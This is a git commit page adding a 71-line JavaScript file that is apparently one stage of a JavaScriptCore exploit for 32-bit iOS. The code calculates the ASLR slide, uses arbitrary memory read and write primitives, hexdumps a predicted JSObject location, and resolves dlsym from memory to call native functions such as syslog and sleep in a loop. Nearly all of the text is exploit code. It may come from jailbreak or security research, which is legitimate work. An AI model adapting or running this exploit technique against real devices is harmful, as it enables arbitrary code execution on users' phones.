diff options
| author | spv <aquaticvegetable@gmail.com> | 2022-04-20 14:10:27 -0400 |
|---|---|---|
| committer | spv <aquaticvegetable@gmail.com> | 2022-04-20 14:10:27 -0400 |
| commit | 7caa231e0b0fa607080586725fbbc9628a1cc031 (patch) | |
| tree | e22a643aefbc73c703b90f2454c0f75374696399 /js/main.js | |
hello and welcome back to hell
Diffstat (limited to 'js/main.js')
| -rw-r--r-- | js/main.js | 71 |
1 files changed, 71 insertions, 0 deletions
diff --git a/js/main.js b/js/main.js new file mode 100644 index 0000000..11bd185 --- /dev/null +++ b/js/main.js @@ -0,0 +1,71 @@ +var MAX_SLIDE = 0x3;
+var MIN_SLIDE = 0x1;
+
+try {
+ log("we out here in jsc");
+} catch (e) {
+ /*
+ * we don't have log. :(
+ */
+
+ log = function (){};
+}
+
+function main() {
+ /*
+ * get slide and calculate slid base
+ * remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's
+ *
+ * so, take the slide, shift it by 12 bits (aslr is calc'd by taking a
+ * random byte and shifting it 12 bits, in this case the page size, 4096
+ * (0x1000) bytes), and add it to the unslid base.
+ */
+
+ slide = get_our_slide();
+ base = 0x4000 + (slide << 12);
+ slid = (slide << 12);
+ // call(0x41424344);
+
+ log("slide=0x" + slide.toString(16));
+ log("*(uint8_t*)base = 0x" + read_u8(base).toString(16));
+ log("*(uint16_t*)base = 0x" + read_u16(base).toString(16));
+ log("*(uint32_t*)base = 0x" + read_u32(base).toString(16));
+
+ write_u32(0x144444, 0x69691337);
+
+ log("writing to first mapped loc");
+// write_u32(0x422300, 0x41414141);
+ log("writing to second mapped loc");
+// write_u32(0x422300, 0x41414141);
+ log("survived both writes!");
+
+ child.a = parent;
+
+ predicted_jsobject_addy = 0x422200;
+ buf = read_buf(predicted_jsobject_addy, 0x200);
+
+ log("hexdump of predicted jsobject loc:");
+ log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x"));
+
+ var dlsym_addy = read_u32(0x1a0000 + 24 + slid);
+ var shc_slide = read_u32(0x1a0000 + 20 + slid);
+ write_str(0x148000, "get rekt from jsc\0");
+ write_str(0x149000, "syslog\0");
+ write_str(0x14a000, "sleep\0");
+ while (true) {
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x28, 0x148000, 0x2, 0x3);
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x14a000, 0, 0), 10, 0x1, 0x2, 0x3);
+ }
+/*
+ for (i = 0; i < 0x1000; i++) {
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x148000, i, 0x2, 0x3);
+ }*/
+
+// call(0x9ac54 + (slide << 12));
+// write_u32(0x1013b8, 0x41414141);
+// call(0x41414141);
+
+// call(0x56ab9 + (slide << 12));
+
+ log("still alive");
+};
|